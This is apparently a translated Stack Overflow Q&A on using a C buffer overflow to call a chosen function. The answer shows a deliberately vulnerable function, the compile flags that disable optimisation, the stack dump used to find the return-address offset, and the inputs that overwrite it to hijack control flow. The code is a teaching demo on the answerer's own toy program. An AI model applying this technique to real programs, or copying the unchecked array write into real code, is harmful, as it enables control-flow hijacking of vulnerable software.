如何使用缓冲区溢出调用函数?

时间:2014-09-29 19:44:15

标签: c buffer-overflow

我有这个代码块显然包含缓冲区溢出,因为我可以在数组a中输入4个以上的值。我想使用缓冲区溢出调用一个函数。我知道这个功能的地址。我知道我需要覆盖函数返回地址,但我不确定如何实际执行此操作?此外,如果我设置n = 5并将5个值写入数组a,则程序不会崩溃,即使只为4个值分配了内存。为什么会这样,我该怎么办才能使程序崩溃?我使用的是较早版本的Ubuntu,它没有检查缓冲区溢出。

int a[4];
for (i = 0;i <n ;i++)
printf ("\n a[%d] = %x, address = %x", i, a[i], &a[i]);
printf("\nEnter %d HEX Values \n", n);
for (i=0;i<n;i++)  
  scanf("%x",&a[i]);
   printf("Done reading\n");

1 个答案:

答案 0 :(得分:0)

这是一个在我的系统上运行的漏洞利用程序(x86_64 GNU / Linux上的GCC)。请不要告诉我你已经尝试过它并且“没有工作” - 程序故意调用未定义的行为,就其本质而言,这是不可移植的。 C标准中没有任何内容表明编译器必须生成易于以可移植方式利用的代码。

为了给出一个完整的例子,我稍微修改了一下代码。首先是一些标题:

#include <assert.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>

以下是我们希望利用的易受攻击的功能:

static int
vulnerable(void)
{
  uint64_t a[4];
  int n;
  int i;
  for (i = 0; i < 10; ++i)
    printf("a[%d] = 0x%016lX\n", i, a[i]);
  printf("Enter the number of values:  ");
  scanf("%d", &n);
  for (i = 0; i < n; ++i)
    {
      printf("Enter value %d of %d:  ", i, n);
      uint64_t temp;
      scanf("%lX", &temp);
      if (temp)
        a[i] = temp;
    }
  for (i = 0; i < 10; ++i)
    printf("a[%d] = 0x%016lX\n", i, a[i]);
  return n;
}

我已经修改了一些代码,只能写入非零值。这使我们不太可能覆盖我们不想覆盖的内容。这当然是不必要的,因为在这种情况下,我们可以同样简单地输入我们知道已经存储在地址中的值。

以下是我们要致电的功能:

static void
target(void)
{
  printf("Exploit succeeded!\n");
  exit(0);
}

为了避免必须读取汇编或反编译对象,我们将向main函数添加一些诊断输出。应该很清楚,利用并不依赖于此。

int
main()
{
  assert(sizeof(void *) == sizeof(uint64_t));  /* (1) */
  printf("%p  return\n", (&&label));           /* (2) */
  printf("%p  target\n", target);              /* (3) */
  vulnerable();
 label:
  return 0;
}

第(1)行只是为了确保我们假设地址大小正确。在第(2)行,我们打印调用vulnerable时将在堆栈上的返回地址。 (&&label语法是获取标签地址的GCC扩展名。)Line(3)打印出目标函数的地址。

我们不希望编译器执行可能破坏我们漏洞利用的智能事物,因此我们将禁用所有优化并编译如下:

$ gcc -O0 -o main main.c -static

然后,当我们运行程序时,它可能会输出以下内容:

$ ./main
0x400e44  return
0x400dfb  target
a[0] = 0x0000000000000001
a[1] = 0x0000000000000001
a[2] = 0x00007FFF3E81E588
a[3] = 0x00000000004014F7
a[4] = 0x0000000000400290
a[5] = 0x00000005006B4310
a[6] = 0x00007FFF3E81E4A0
a[7] = 0x0000000000400E44
a[8] = 0x00000000006B4310
a[9] = 0x0000000000401093

我们很快发现偏移7处的返回地址。 我们可能从仔细阅读汇编代码中获得了相同的知识。知道我们要做什么,我们用以下方式提供程序:

Enter the number of values:  8
Enter value 0 of 8:  0
Enter value 1 of 8:  0
Enter value 2 of 8:  0
Enter value 3 of 8:  0
Enter value 4 of 8:  0
Enter value 5 of 8:  0
Enter value 6 of 8:  0
Enter value 7 of 8:  0x400dfb

以下输出显示我们已成功覆盖返回地址,并且漏洞实际上已成功。

a[0] = 0x0000000000000001
a[1] = 0x0000000000000001
a[2] = 0x00007FFF3E81E588
a[3] = 0x00000000004014F7
a[4] = 0x0000000000400290
a[5] = 0x00000005006B4310
a[6] = 0x00007FFF3E81E4A0
a[7] = 0x0000000000400DFB
a[8] = 0x00000000006B4310
a[9] = 0x0000000000401093
Exploit succeeded!